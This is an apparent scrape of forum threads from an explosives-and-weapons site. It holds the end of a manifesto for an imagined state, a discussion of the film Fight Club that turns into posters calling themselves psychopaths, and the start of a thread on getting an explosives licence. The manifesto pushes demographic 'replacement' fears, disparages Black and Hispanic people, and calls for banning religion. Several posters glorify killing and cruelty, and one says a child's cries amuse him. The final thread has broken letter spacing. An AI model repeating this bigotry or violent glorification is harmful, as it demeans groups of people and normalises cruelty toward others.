to be 100% sure they're not mentally hurt by them, I would not release it completely into society.
Death penalty I wouldn't have in my state, but that's only because as prevoious stated "legal system sometimes do
mistakes". Otherwise there would be death for every major crime.
I'd place my state on an artifical island in some remote reef, or in a large boat cirkling the planet. Placing it just outside the
US would be begging for trouble, I'd say it wouldn't even be finished. Tax revenue would come from general trading, refining
raw materials, research...
The main benefits of my system would be:
1. The state would be safe enough to invest and live in.
2. You'd be able to raise your family clear of the sheeple-propaganda.
3. Everyone would enjoy freedom under responsibility. Most other systems migh have freer laws, but they'd also force you to
pay for your neighbor being an idiot and messing his own life up, either by taxes (as in Sweden) or by crime.
4. The immigration policy would not accept morons, excluding the least productive 20% of the population, or even perhaps
exclusively accepting only the best 20% would lead to benefits for the economy and also make things run smoother. The ban
on religions would leave religious people and their continous work to force everyone else to follow the rules of their idols
outside. The ideals of my state might seem "conservative" to some degree, but they're designed to build a well working
atheist society.
Family values f.ex, thats something thats shared with all other major traditional culturs (christans, muslims...), but there is a
reason for this - a society whose citizens does not reproduce (even if 11 kids might be an exaggeration), WILL end up in
economic and social ruin. Thats why traditionalist views have survived despite its people being anti-progessive and zealous
conformists, christians and muslims REPRODUCE, and liberals and others does not, at least no to the same degree. Hence,
they end up being evolutionarily superior to your high-held "western culture", despite being sheepifying and despite being
against technological progress.
Look at how have the power balance for middle-east/maghreb muslims versus secular europeans tipped in the last forty
years? We used to be twice as many as them, and technologically superior. Now they're twice as many, and we'd be fucked if
we would not still have some of that technological edge.
But for how long will this last? Europe are seeing millions of immigrants from these regions, and in two generations, in some
western european countries even one, they will be the majority, and then both you and I can kiss our asses goodbye. America
is seeing the same problem, with secular, "free" people with values resembling those of yourselves simply not reproducing,
while blacks, hispanics and deep religious whites are literally spitting out offspring. How many generations before YOUR
freedom and your wealth are naught?
And why is all this happening? Because those fucking hippie-generations went to far. Bible-recitation and beatings was
excluded from schools when the idea of freedom won, to major benefit for society. In a short period in the fifties we got the
best of both worlds and at the same time science reached major breakthroughs.
Then things started to fuck up, women was taught by feminist theorits to prioritise "careers", and both the would-be parents
today would rather buy another TV than bring babies to this world. Are you seeing my point? You are getting replaced by crap.
My idea involves both reliance on science and rationality with family values to promote long-term survival and growth. One has
to think ahead.
So, there it would be:

Jomeia
Government: Liberal minimalist, cooperative branch-system.
Culture: Atheistic neo-conservatism with some naturalist traits (no, not naturist, at least not for the men), promoting
education, self-reliance, vigilance and family values and a morale based on naturalism and cooperative society.*
Location: Remote reef, in a number of ever-moving boats or perhaps on Mars.
*That is, going from the original naturalist "only the fit survives" to "only the fit society survives", IMO this leads to both
individualism and those individualists cooperating for good of each other and oneself.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Lets discuss the social
dynamics of the movie "Fight Club"
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View Full Version : Lets discuss the social dynamics of the movie "Fight Club"
Minion5 August 21st, 2006, 12:27 AM

It basically shows the basic dependency that people have for their property, usually the things that they do not need.
It also breaks down the media and how it basically dictates our lives...how we should look, what we should wear, what we
should buy, what we should eat (which is usually garbage at that), how our "fellow citizens" will think of us if we do what these
advertisements tell us. In this, we eventually become subject to impressing the world.
Girl: Where is my new hair pin? I need my new hair pin!

Awakened Person: And WHY do you need it?
Girl: Because it makes me look cool...
This movie, if studied, can reveal a lot of things that the governemt...and big-time cooperations do NOT want you to know
about.
:D

Fight Club is a deep introspection as to the consumer driven aspect of our lives. Dont imagine for a second that all these
companies have your health, welfare, or social status at heart when they sell their products. All commercialism is designed to
make people rich. Almost every venture in human history is about making some sort of profit. The advertising executives
know every psychological trick in the book to get you to part with your money.
At the root of a consumer driven economy is a lack of happiness. A prerequisite for happiness in many peoples estimation of
the word is not wanting anything. You want, you buy, you are happy. Of course there is always a newer, faster, better model
just around the corner, so that same must have gadget we bought last year is now magically trash because because well, I
cant give the reason, because it isnt trash, advertising just tells us so. Being happy and content is the worst thing in the world
for marketing types.
The guys in Fight Club were happy because they found what they were looking for in sense of fulfillment. They also had the
gall to not charge for it. No admission fees, no membership dues, no signing wavers or legal documents, no lawyers, just
contented fulfillment of masculine aggression.
Why do you think I have never turned The Forum into an advertisement laden infomercial like almost every other website on
the Internet? Sure The Forum costs money, and it could make money, but I have learned from the social message of Fight
Club and adopted a philosophy of building a website in the image of what I would want all other websites to be like.
Free and open to all is the way to go. Sure, there are rules, but it doesnt cost you anything.

Amen. Do you take donations?
Also interesting is his other personality's view of simpler/more medieval being better. For the most part I would agree, with few
exceptions. I like electricity, along with the light and communication it provides, and in the way he proposed to bring the world
into simpler times, they would be left, something that makes his view appeal to me even more. Not that I would not forego
electricity for a cause, but why if you must not?
And as for ad media, you can't step out the door, nor even open a magazine or a website without being gagged by it, with few
exceptions. We are programmed from childhood by this society that we always need more, bigger, better. Not what works or
what we are happy with. Example: Razors. It started out with one blade in a form somewhat like a knife. Then it switched to a
more comfortable and easy to use handle. Then they added a blade, then two, then 4, then a gel strip, a vibrating head,
aeronautic styling, etc... and we are told by advertising that each new reincarnation is better and that we should dump our 2
bladed razor and get it. Same with shaving cream. What had formerly worked for centuries (a bar of lathering soap and boar
hair brush) is now giving way to myriad options of gels and creams, all with the same purpose, for a higher price and resource
drain. Do we need that?
Can you tell that that is one of my pet peeves? :)
Sausagemit August 21st, 2006, 10:32 PM

One of my favorite quotes from the movie/book.
"It's only after you've lost everything that you're free to do anything."
The Narrator embodies this quote buy Chuck Palahniuk as Tyler Durden in the movie and book. The Narrator is completely lost
untill the very end of the movie. And untill he looses everything he has ever owned and gets rid of Tyler that he found himself
and is free from everything.
This has long been the philosophy behind Zen Buddhism, anihilisim, and a couple of other religions.
Lewis August 22nd, 2006, 02:29 AM

I agree that the media is very good at selling needless crap, but capitalism does have its benefits.
For instance, take the iPod. Mac designed a generally good product there. I'm not saying one needs to get a new one every
time they increase the disk space by a power of ten, just that it's a handy thing to have.
If you can keep a certain amount of possesions that are useful to you, but not get suckered into buying needless crap, then
you can benefit from corporations competing for your business.
Do I enjoy being force-fed shit about what tampon is better and why, when I just want to watch T.V.? No.
But it sure beats shivering in the dark all winter long because people rejected central heating systems because they were
'needless crap'.
I guess my point it that there has to be balance in consumer decisions.
nbk2000 August 22nd, 2006, 09:10 AM

The man who has nothing to lose, has everything to gain, and nothing to fear. :)
This is why societies shun the 'loners' and 'drifters', because they don't have anything to hold over him, neither fear of
isolation, nor being exiled from home, for the loner craves the isolation, and the drifter is home wherever he may be.
:p :D
jellywerker August 22nd, 2006, 08:43 PM

Is that you or a quote? If so, I want to read the book!
It reminds me of some of my own issues. Whenever something happens that other people might go to a counselor for, etc... I
simply shrug it off.
People keep telling me that I can't do that and that I need to talk to someone about it, or that it is a defense mechanism
that will come back and haunt me later, but I certainly don't feel like that, I feel more like that it has already happened and I
needn't dwell on it any longer other than to see what I can learn from it.
I get really annoyed at people who get hung up on something that has happened to them that jarred their emotions, and
usually see it as a weak will.
And I mean really, who the fuck can dictate how my mind works? In my opinon, most therapy and phsychology is the biggest
load of bull to hit America. Libera Mentis!
anonymous411 August 23rd, 2006, 09:09 PM

"I get really annoyed at people who get hung up on something that has happened to them that jarred their emotions, and
usually see it as a weak will."
I agree, but it's worth remembering that if you are what society labels a clinical "psychopath", you're no more capable of
understanding what it's like to be "normal" than it is for an average person to understand you.
I certainly don't mean that in a derogatory way and I'm not being careless or flip with my use of the term. There's a whole
body of research that proves discrete differences in brain chemistry and neurological responses between those who have a
conscience and those who don't. Look up "psychopathy" on PubMed for lots of interesting research. Fascinating stuff.
Better yet, read Hervey Cleckley's groundbreaking magnum opus: "The Mask of Sanity: An Attempt to Clarify Some Issues
About the So-Called Psychopathic Personality." www.cassiopaea.org/cass/sanity_1.PdF
Not only will you learn more about yourself, you'll be highly entertained-- the anecdotes are awesome. If you don't laugh out
loud in every chapter, I'd be surprised. :)
Cleckley's Checklist
1) Superficial charm and good intelligence

2) Absence of delusions and other signs of irrational thinking
3) Absence of "nervousness" or other psychoneurotic manifestations
4) Unreliability
5) Untruthfulness and insincerity
6) Lack of remorse or shame
7)Inadequately motivated antisocial behavior
8) Poor judgment and failure to learn by experience
9) Pathologic egocentricity and incapacity for love
10) General poverty in major affective reactions
11) Specific loss of insight
12) Unresponsiveness in general interpersonal relations
13) Fantastic and uninviting behavior with drink and sometimes without
14) Suicide rarely carried out
15) Sex life impersonal, trivial, and poorly integrated
16) Failure to follow any life plan.
nbk2000 August 24th, 2006, 03:32 AM

Jellywerker:
That's me. :)
411:
Ah...the psychopathic personality. A topic of much research on my part, being that I'm one myself.
Failed to mention that like with almost anything else in life, there are shades of grey in the scale of psychopathic behavior.
A highly-functional one is able to blend in well, with such traits that do show being attributed to egotistic or assertive traits.
Such a person would be 'The Iceman', Richard Kuklinski. Married, family, businessman...and stone-cold killer of dozens.
Another one would be Dennis Rader, the BTK killer. Church leader and Boy Scout troop leader.
Low-functioning ones are the impulse killers like Henry Lee Lucas, who are traveling vagrants who kill at whim and don't even
care about getting caught.
'Joe Pesche' types (his character-type, not the man himself) are the middle-ground. Able to plan a bit, but sometimes
impulsive too.
And not everyone has all the traits to equal degrees.
I'll leave it to my fans and foes to point out which apply to me. :)
And in the book "On Killing", the very traits that make a psychopath an undesirable citizen during peace-time are described as
making him an excellent soldier during war.

Me and a friend were talking the other day at a resturant and we both came to the conclusion that we both fairly psychopathic.
When ever either one of us walks into a building, we both look for the best weapon to grab and the quickest way out just in
case something goes wrong.
I don't think its a bad thing, and in fact might save our lives some day or it might get us killed. But while the rest of the
sheeple are standing there terified we might acctually defend ourselves or have the knowledge to make it out alive while the
rest of the sheeple perish.
BTW: he chose a fire extinguisher and I chose a loose table leg.
anonymous411 August 24th, 2006, 12:52 PM

NBK: Great points about shades of grey. You may have noticed this yourself, but one of the main problems with the clinical
literature on high-functioning psychopaths is that it lacks nuance. Why? Because the most brilliant and best-functioning among
them never make it into the sample.
For example, if introspection specifically counterindicates the diagnostic criteria, perhaps it's because "lack of insight" is
entirely characteristic of the low-level scum under observation. Given that I've met at least a dozen philosophically-minded
people who meet the criteria in all other respects, there must be some other character type the "normals" are failing to capture
in their research.
It's not that these HF psychopaths don't have a painful awareness and complex understanding what's going on. They have
insight into their own motivation, but on some level, are simply incapable of giving a fuck about wanting to change it. In fact,
I'd go so far to say they take a perverse pride in learning everthing they can and wearing it as a badge of honor. Can I get an
amen here? Heh.
Likewise, researchers face the same problem when psychologically profiling people who commit espionage. The only people
they're studying are the ones who suck at it enough to get caught! You might get in the general ballpark of creating a useful
model, but there may be some traits exclusively common to the successful you'll never capture.
Moving beyond the Cleckley/Hare criteria and specifically referring to spies, some studies indicate the most dangerous group
shows a peculiar combination of three DSM-defined personality disorders. An unholy trinity, as it were:
Antisocial
Narcissistic
Paranoid
D'oh! (Three great things that go great together...LOL!) I once presented that little nugget to one of my Defense Department
think tank research scientist colleages. His response was to blanch, pause for a second, and then blurt out "Jesus Christ! That
sounds like everyone here!"
Funny because it's true.
Which brings me to your comment about psychopaths being great for war: I'd say not just the soldiers, but the STRATEGISTS.
One of the greatest high-functioning, brilliant, and influential psychopaths of all time has to be Herman Kahn, author of the
strategy masterpiece "On Thermonuclear War":
"Herman Kahn was the heavyweight of the Megadeath Intellectuals, the men who, in the early years of the Cold War, made it
their business to think about the unthinkable, and to design the game plan for nuclear warhow to prevent it, or, if it could
not be prevented, how to win it, or, if it could not be won, how to survive it. {...} He was a jocular, gregarious giant who
chattered on about fallout shelters, megaton bombs, and the incineration of millions. Observers were charmed or repelled,
sometimes charmed and repelled. Reporters referred to him as a roly-poly, second-strike Santa Claus and a thermonuclear
Zero Mostel. He is supposed to have had the highest I.Q. on record.
His response to his critics:
Why do so many people regard you as a monster? a reporter once asked Kahn. There are a lot of reasons, none of which
derive from my actually being a monster, he replied. One of the most important and obvious is the feeling that anybody who
is interested in these kinds of problems must be a monster.
Something to think about!
knowledgehungry August 24th, 2006, 02:30 PM

Sausagemit, entering a room and looking for defensive weapons as habit does not make you a psychopath. I am always
aware of my surroundings and looking for objects to give me the advantage when I am out and about. This does not make
me a psychopath, it just means that I have grown up in an enviroment that forced me to realize that there are people out to
hurt you, and that you have to be ready because the cops will not be there in time.

Yeah, the term for someone exhibiting the trait you described is "hypervigilant".
A psychopath would be more likely to have a habit of "thought experiments" involving scoping out the best method of placing
explosives to blow up the room, where to stand to get the best shot sniping someone, the quickest way to take out the crowd,
etc. :)
You can get paid to do the former as a "security consultant", and the latter as a "red team" penetration tester. Loads of fun!
LOL

Don't forget the other affliction, sociopathy. I fulfill nearly all of the requirements of a sociopath, except the most important, I
still have something of a conscience left. Nbk2000 is working on that :) In laymans terms I like to say a psychopath derives
enjoyment from torturing and killing someone, and the sociopath derives enjoyment from watching the psychopath torture and
kill someone. Its a big distinction Is it wrong I find the cries of an injured or recalcitrant child funny? So I have been told,
angrily, by others, but that anger just makes me happier.
The psychopath would not be looking for weapons to defend himself, he would be thinking about how to use those weapons on
those around him. He would feel the table leg in his hand slick with blood and brains, he would smell the distinctive odor of
blood and terror, and he would revel in the terrified faces of the insignificant mice around him. The psychopath would only be
able to feel these emotions because they are the only ones even remotely capable to him. The psychopath is never in danger,
he cant feel it. He may very well embrace the pain, seek out what others would fear, just to be able to feel anything. How can
a psychopath fear danger since he IS danger?
I would think Tyler Durden, as played by Brad Pitt, is the psychopath, and the narrator, as played by Ed Norton is the
sociopath. Brad did, Ed observed Psycho, Socio
Minion5 August 24th, 2006, 11:47 PM

Yes, I tend to feel that I myself am a cross between a sociopath and a psychopath (leaning towards the sociopathic side. I can
indeed get "down with the sickness").
Which brings me to your comment about psychopaths being great for war: I'd say not just the soldiers, but the STRATEGISTS.
This is true in a sense. Everyone that I know that is a good strategist, be it video games or planning for the next big raid on
whatever building, tend to be a bit psychopathic. Also, megalomanias statement about Fight Club is true, in regards to the
main characters. Tyler did most everything for Ed, while Ed sat back and learned. An example of this would be in the end of
the movie, when Tyler breaks down the mere fact that (or tries to convince Ed that) Tyler IS Ed, in every nature.
Another good example would be the quote "self destruction may be the answer," in which we must destroy ourselves to find
ourselves. This has been applied to my life in several areas, rather pleasent or not.
nbk2000 August 25th, 2006, 05:15 AM

Actually, I believe the terms 'socio' and 'psycho' have the same meaning, it's just that 'socio' is the more PC-term, which is
itself being replaced by some other term, something like 'affective personality disorder' or some such bullshit.
Kahn wouldn't have been thinking about Megadeath's in a thermonuclear war if it wasn't for the sick fucks of the general
society that allowed such things to exist in the first place. If the people REALLY wanted rid of nuclear weapons, all they'd have
to do is destroy them, like the Berlin Wall.
A city of people march could onto the airfields and missiles bases, and smash the things to bits. Think the troops would gun
down thousands of the very people they have to live amoungst to stop it?
darksim August 25th, 2006, 09:01 AM

Do NOT quote whole posts! Only the relevant sentence or thought.
The sociopath can get along with other people and follow some rules.
A good example of this is the hells angels. Most are socio-paths who have no qualms about killing people who get in their
way, but they still abide to their rules and have the capability of following them. These people can be quite manipulative and
are prone to 'play the system', as thats what life to them is typically viewed as...a game or system.
The Psychopath on the other hand would not fit into the hells angels or any other group like that, not being able to follow any
of the rules of the gang and would get kicked out.
jellywerker August 25th, 2006, 07:11 PM

Hmm, I do not believe I exhibit many characteristics of a psychopath, but a few fit me well. As for not having a conscience,
well, I can sympathize with people for a few minutes when something happens, but I refuse to sympathize with them 2 weeks
later when all that happened was their pet died or some other instance that is trivial in the long run.

Megalomania: interesting how popular use of the terms differ from the clinical definitions. I think what you're calling
"sociopath" sounds a lot like what the psychiatrists call "sadistic personality disorder".
While many clinical sadists are psychopaths too, not all clinical psychopaths are sadists. A sadist would derive enjoyment from
imagining gore and hearing someone suffer, while it's entirely possible a psychopath wouldn't care one way or the other, and
merely see killing as a means to an end. In a sense, this is a less "human" response than enjoying it.
Here's a good test: if you've ever faced a life-threatening emergency and felt your autonomic nervous system slow down, i.e.
become the opposite of aroused (lower blood pressure and heart rate, breathing slower, felt your features take on an absolute
placidity and calm as you're on the verge of killing someone or beating them to death) now that's psychopathic. Hence the
term "cold blooded killer". Sounds like you and NBK are describing "hot blooded killers"...LOL
You can be a full-blown sadist and still have a conscience, though you're right to say there's no sharp line. NBK is right, the
terms sociopath and psychopath are used more or less interchangably, whereas "antisocial personality disorder" is the catch-all
for diagnosis for garden-variety criminals in the United States. It's an interesting fact that most people who meet the
diagnosis for APD don't fit the criteria laid out on the Hare PCL. (Research by Hare superceded the work done by Cleckley,
though I find the latter far more interesting).
As you'll see, many of the traits common to all four are siphoned off into a separate diagnosis of "narcissistic personality
disorder", a mindset all its own. These terms are getting re-defined by the psychiatric community all the time, and in the end
it's all artificially constructed anyway.
Here's some more bullshit diagnostic criteria you may find interesting:
ANTISOCIAL PERSONALITY, SOCIOPATHY, AND PSYCHOPATHY

http://faculty.ncwc.edu/toconnor/428/428lect16.htm
***
ANTISOCIAL PERSONALITY DISORDER
The Diagnostic and Statistical Manual of Mental Disorders, a widely used manual for diagnosing mental and behavioral
disorders, defines antisocial personality disorder as a pervasive pattern of disregard for and violation of the rights of others
occurring since age 15, as indicated by three (or more) of the following:
1. failure to conform to social norms with respect to lawful behaviors as indicated by repeatedly performing acts that are
grounds for arrest
deceitfulness, as indicated by repeated lying, use of aliases, or conning others for personal profit or pleasure
2. impulsivity or failure to plan ahead
3. irritability and aggressiveness, as indicated by repeated physical fights or assaults
4. reckless disregard for safety of self or others
5. consistent irresponsibility, as indicated by repeated failure to sustain steady work or honor financial obligations
6. lack of remorse, as indicated by being indifferent to or rationalizing having hurt, mistreated, or stolen from another
The manual lists the following additional necessary criteria:
The individual is at least age 18 years.

There is evidence of conduct disorder with onset before age 15 years.
The occurrence of antisocial behavior is not exclusively during the course of Schizophrenia or a Manic Episode.
***
SADISTIC PERSONALITY DISORDER
This disorder is characterized by cruel, aggressive, manipulative, and demeaning behavior directed towards others.
Abusiveness and violence are common in the sadist's social relationships, because the sadist lacks concern for people and
derives pleasure from harming or humiliating others. There are similarities between sadistic PD and the more aggressive
antisocial PD, however, the antisocial person does not generally hurt others just for pleasure. There may also be an
association between sadistic PD and sexual sadism, in which the person derives sexual arousal and satisfaction from sadistic
acts like beating and humiliating someone.
Maladaptive patterns of motivated behaviour, usually evident for at lease several years.
A. Enduring, pervasive, maladaptive patterns of behaviour which are usually recognised before or during adolescence.
B. It is long-standing and its onset can be traced to adolescence or early adulthood, but is not due to drugs (of abuse or
medication) or to a medical condition eg head injury.
C.The behaviour pattern is inflexible across all personal and social situations and significantly impairs their social or
occupational functioning.
1. Has used physical cruelty or violence for the purpose of establishing dominance in a relationship (not merely to achieve
some noninterpersonal goal, such as striking someone in order to rob him or her).
2. Humiliates or demeans people in the presence of others,
3. Has treated or disciplined someone under his or her control unusually harshly, e.g., a child, student, prisoner, or patient,
4. Is amused by, or takes pleasure in, the psychological or physical suffering of others (including animals),
5. Has lied for the purpose of harming or inflicting pain on others (not merely to achieve some other goal)m
6. Gets other people to do what her or she wants by frightening them (through intimidation or even terror),
7. Restricts the autonomy of people with whom he or she has a close relationship, e.g., will not let spouse leave the house
unaccompanied or permit teen-age daughter to attend social functions.
8. Is fascinated by violence, weapons, martial arts, injury, or torture.
***
NARCISSISTIC PERSONALITY DISORDER
pervasive pattern of grandiosity (in fantasy or behavior), need for admiration, and lack of empathy, beginning by early
adulthood and present in a variety of contexts, as indicated by five (or more) of the following:
1. has a grandiose sense of self-importance (e.g., exaggerates achievements and talents, expects to be recognized as
superior without commensurate achievements)
2. is preoccupied with fantasies of unlimited success, power, brilliance, beauty, or ideal love
3. believes that he or she is "special" and unique and can only be understood by, or should associate with, other special or
high-status people (or institutions)
4. requires excessive admiration
5. has a sense of entitlement, i.e., unreasonable expectations of especially favorable treatment or automatic compliance with
his or her expectations
is interpersonally exploitative, i.e., takes advantage of others to achieve his or her own ends
6. lacks empathy: is unwilling to recognize or identify with the feelings and needs of others
7. is often envious of others or believes that others are envious of him or her
shows arrogant, haughty behaviors or attitudes
PARANOID PERSONALITY DISORDER
A pervasive distrust and suspiciousness of others such that their motives are interpreted as malevolent, beginning by early
adulthood and present in a variety of contexts, as indicated by four (or more) of the following:
1. suspects, without sufficient basis, that others are exploiting, harming, or deceiving him or her
2. is preoccupied with unjustified doubts about the loyalty or trustworthiness of friends or associates
3. is reluctant to confide in others because of unwarranted fear that the information will be used maliciously against him or her
4. reads hidden demeaning or threatening meanings into benign remarks or events
persistently bears grudges, i.e., is unforgiving of insults, injuries, or slights
5. perceives attacks on his or her character or reputation that are not apparent to others and is quick to react angrily or to
counterattack
6. has recurrent suspicions, without justification, regarding fidelity of spouse or sexual partner
7. Does not occur exclusively during the course of Schizophrenia, a Mood Disorder With Psychotic Features, or another
Psychotic Disorder and is not due to the direct physiological effects of a general medical condition.

Interesting and informative studies on the neurological underpinnings of psychopathy from two perspectives...
Nature:
THE PSYCHOPATH'S BRAIN
http://www.cerebromente.org.br/n07/doencas/index.html
Nurture:
WHY THEY KILL
http://departments.bloomu.edu/crimjust/pages/articles/whytheykill.htm
grendel23 August 28th, 2006, 06:25 AM

I have read "Why They Kill: The Discoveries of a Maverick Criminologist," by Richard Rhodes. This is a fascinating look at the
work of Dr. Lonnie H. Athens, who discovered the process by which "Dangerous Violent Criminals" are made.
The book also covers some of Athens other insights, the "phantom community" and "self as soliloquy". These concepts gave
me new insights into the working of the human mind.
Great book, highly recommended.
sparkchaser August 28th, 2006, 09:38 AM

Just a few comments on various points of view throughout this thread. Psychopaths do not make good soldiers, they frighten
good soldiers. You never know what they'll do in bad situations, or what to expect from them when you should be depending
on them. Psychopaths tend to roll grenades into friendly tents, and shoot innocent civilians for no good reason. As far as
"therapy" being overused goes, good counseling from a trained psychologist can help some people. I know personally that
coming back from a war zone with a nasty case of PTSD sucks, especially when you don't recognize it until someone says "this
is what happens sometimes....", and then you think "wow, that's why I couldn't get it up for the past week!" :o among other
things. Realizing some things are symptoms of a disorder and not just a loose screws can help sometimes. I do agree that
too many people go for "therapy" for too many petty things. Fluffy died, it happens, get over it. There are the truly disturbed
people that do need it, But that's been covered. And then there is the useless hang-up of materialism. Could that be
considered a disorder? Why not? We have shopping addiction and porn addiction now, why not posession addiction?

Psychopaths do not make good soldiers :eek:
I tend to disagree. The psychopaths tend to make excellent soldiers. Well, at least in my opinion.
Many psychopathic people are usually smart, can think on their feet, have no conscious (as mentioned recently)/ has very little
of a conscious, and will do what they must to survive. Since many psychopaths would find a pleasure in death/killing others,
the military would be the best place to do this (and since they get this general "gift" to end lives, they are bound to follow the
rules).
tdog49 August 30th, 2006, 04:02 AM

I think you are all forgetting the first rule of Fight Club.......

Well, minion, I truly hope that people can realize their idiocy without the aid of a mainstream movie, I myself have seen this
truth since my early teens. Depending on my mood, I still either chuckle to myself or get sort of nauseous whenever I see
some kid wearing FuBu jeans or whatever expensive "designer" clothes happen to label them as a member of their particular
subculture at the moment.
Also, don't forget the other point of the book/movie- that a society that alienates us and contradicts human nature CREATES
antisocial behaviour, whether psychopathic or sociopathic. I don't believe that people are born with these qualities. The
chemical differences in the brain, in my opinion, are a reaction to your state of mind, not the other way around. To justify this
theory, think about medications for extreme depression. The main proven effects of the chemical "imbalance" in the brains of
clinically depressed people are sluggishness and fatigue. Now, what happens when we "correct" these imbalances? All of the
drugs aimed at doing so have the same mental side effects- psychotic or violent episodes. Perhaps the sluggishness caused
in depression is a defense mechanism itself to stop these from happening.
Off on a tangent for a moment, i'm back. I fit perfectly into the description for antisocial personality disorder listed by
anonymous, also have been diagnosed with ADHD(bogus diagnosis), and I have a schizoid personality disorder(not
shizophrenia-schizoids are marked by extremely detached and apathetic personalities). With the exception of ADHD, I see
these as perfectly normal adaptations to the society in which we live. I'm very surprised there's not more of us-but then again
you never know what's in someone's mind./
knowledgehungry August 30th, 2006, 10:30 AM

Many psychopathic people are usually smart, can think on their feet, have no conscious (as mentioned recently)/ has very little
of a conscious, and will do what they must to survive. Since many psychopaths would find a pleasure in death/killing others,
the military would be the best place to do this (and since they get this general "gift" to end lives, they are bound to follow the
rules).
Many psychopathic people are smart, true, but so are many normal people. Intelligence is not needed to be a clinical
psychopath, in fact low intelligence psychopaths are more violent than intelligent ones.
The idea that psychopaths will make good soldiers depends on what the purpose you want the soldier to fill. If you want a pure
killing machine they may be what you are looking for, however as we have seen in Iraq soldiers also need to be able to NOT
kill. Haditha and the rape/murder/arson incident in Iraq have proven detrimental to the U.S. overall goal in Iraq.
Psychopaths do not play by the rules, the military is ALL about rules. Psychopaths would not make good U.S. soldiers. They
might make great SS officers but an American soldier has far more duties than killing.
Minion5 September 14th, 2006, 09:30 AM

Taken From:
http://en.wikipedia.org/wiki/Fight_Club_%28movie%29#Plot
Throughout the movie, there are several clues as to Tyler Durden's true identity before the revelation later in the film.
Two single-scene appearances by Tyler: In the first he's behind the Narrator on the moving walkway. In the second, he's in the
union video on the hotel's TV farthest on the right.
Single-frame subliminal appearances by Tyler Durden.At the beginning of the movie, the narrator refers to the details of the
controlled demolition, "I know this, because Tyler knows this."
There are several single frame images of Tyler in scenes where he does not belong. They are:
In the insomnia chapter, Durden is visible when the copier flashes.
In the doctor's office, Tyler appears behind the doctor.
In "Remaining Men Together", Tyler is shown with his arm around the group leader.
After Marla first appears in the movie, Tyler appears in the alleyway as she is walking away.
In the hotel room, after the airport scene, the narrator watches a welcome video with several workers saying welcome in
unison. Tyler is the one farthest on the right.
When the narrator is at the airport, he delivers the line, "If you wake up in a different time in a different place, could you wake
up as a different person?" The camera pans to Tyler as he glides past on the moving walk way. Tyler is not in the scene until
he moves out from behind the narrator. This is interesting, since the conveyor is moving at a constant rate and Tyler should
have been visible to the right of the narrator before passing behind him.
On the plane, the narrator is sitting with a woman to his left. After he fantasizes about a mid-air collision, Tyler now occupies
the same seat. Both Tyler and the narrator have the exact same briefcase as well.
When the Narrator went to Tyler's home he said, "I don't know how Tyler found that house, but he said he'd been there for a
year." He also said earlier that he had been doing support groups for a year.
After his first fight the Narrator notes that everything in life gets the volume turned down. The first punch thrown in the first
fight was straight to Tyler's ear.
After having sex with Marla for th e first time , the narrator s ays, "You won 't believe this dream I had last night. Marla replies
that she could not believe anything about it either, giving him a look because of their shared experience. Her actions indicate
disbelief and shock when the narrator kicks her out of the house revealing that they are not on the same page. When Tyler
comes in to talk about it, the narrator says he already knew the story.
In the kitchen after Tyler and Marla have sex, the narrator says, "Except for their humping, Tyler and Marla were never in the
same room"
As the narrator goes to answer the ringing phone, Tyler and Marla can be heard having sex elsewhere in the house. As soon
as the narrator lifts the receiver, the sounds of sex are silenced.
When the narrator beats himself up to extort his boss, he says it reminded him of his first fight with Tyler (his first fight with
himself).
When Tyler and the narrator are in the bathroom together, relating life experiences, they have remarkably similar pasts.
When the narrator is being stitched up after s urgery, he says, "Sometimes Tyler spoke for me. He rep eats what Tyler says,
even though he is in the same room with Tyler and this would have seemed odd for the nurse.
In the kitchen, when Marla is examining the narrator's burn, Tyler is feeding him lines to say to her.
The narrator walks in on Tyler having sex with Marla (this is the scene where Tyler is wearing the yellow gloves). Tyler talks to
the narrator and Marla asks him whom he is talking to.
Before the car crashes Tyler asks the narrator "Why do you think I blew up your condo". This means that Tyler must've blown
out the narrators pilot-light and planted dynamite weeks before they even met for the first time.
Before the car crash scene, the narrator is sitting on the right, in the passenger seat, talking to Tyler. After the car flips over,
Tyler pulls the narrator out of the driver's seat.
When the narrator gets off the bus, just before he learns about Project Mayhem painting a smiley face and setting fire to a
building, he is carrying a green folder. This is one of the same folders that are tacked up to the bulletin board for Project
Mayhem's exploits.
When the narrator and Tyler get on the bus, the narrator pays fare for only one person.
When the narrator and Tyler are on the bus, a man pushes past Tyler and then the narrator, but says "excuse me" only to the
narrator.
Bob tells the Narrator that he's heard all sorts of crazy rumors about the guy who founded Fight Club, one of which is that he
"only sleeps one hour a night". The "Tyler Durden" personality takes over when the Narrator falls asleep, leading a double life
at night to return home and "wake up" as the Narrator, resulting in almost no sleep and the true cause of the Narrator's
insomnia.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > L e g a l R o a d to Explosives
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Knoxville August 22nd, 2006, 12:48 PM

I a m currently living in Arkansas. I was in a local hardware store a couple o f w e e k s a g o a n d saw a guy asking about prim er
cord. I went hom e and called the store b a c k a s k i n g i f t h e y s o l d e x p l o s i v e s . T h e y s a i d y e s , b u t y o u h a v e t o g e t a l i c e n s e . I
a s k e d f o r t h e p h o n e n u m ber to inquire about this and they gave m e t h e p h o n e n u m b e r o f t h e A T F . I c a l l e d a n d r e q u e s t e d a n
application and received it in the m ail the other day. Everything looks good to go, I shouldn't have any problems getting this.
It is 100$ (could be 200$) for a Type 33 license, which is a high explosive user. That licen se would be an interstate license so I
could use it in a few states. I am really interested in this due to the fact that I have small jobs I could do for people and m a k e
a little $$ on the side . I am from a prim arily rural area in KS and trees/stumps are a big problem there. I could also blast
rocks here in AR when som eone is say building a fence or trying to dig a septic ta nk. Anyhow, I have a question on the
M a g a z i n e t o s t o r e t h e e x p l o s i v e s i n . D o e s a n y o n e h a v e s o m e t h i n g t h a t t e l l s t h e r e q u i r e m e n t s o f t h e m a g a zine? I was thinking
about 1/4" or 3/8" thick steel plate, but I'm just curious. I tried a search and didn't locate anything. I'm pretty sure I read
s o m ewhere that the person th at built one lined the inside of it with plywood as we ll. My big questions are on the hinges, wou ld
a structure such as a cellar be sufficient. W h e r e t o g e t o n e a p p r o v e d a n d so on. The rest of the ap plication is paperwork, and I
have to get finger printed by the local police station, have the FBI do a b ackground check, but it's not bad. Any advice?
Bert August 22nd, 2006, 02:58 PM

Y o u h a d b e t t e r g e t a c o p y o f t h e o r a n g e b o o k a n d d o y o u r r e s e a r c h T H O R O U G H L Y b e f o r e m a k i n g y o u r a p p lication to BATFE. All
you know right now is that you like things that go bang- There is a large regulatory com p o n e n t t o t h i s b u s i n e s s , a n d a n
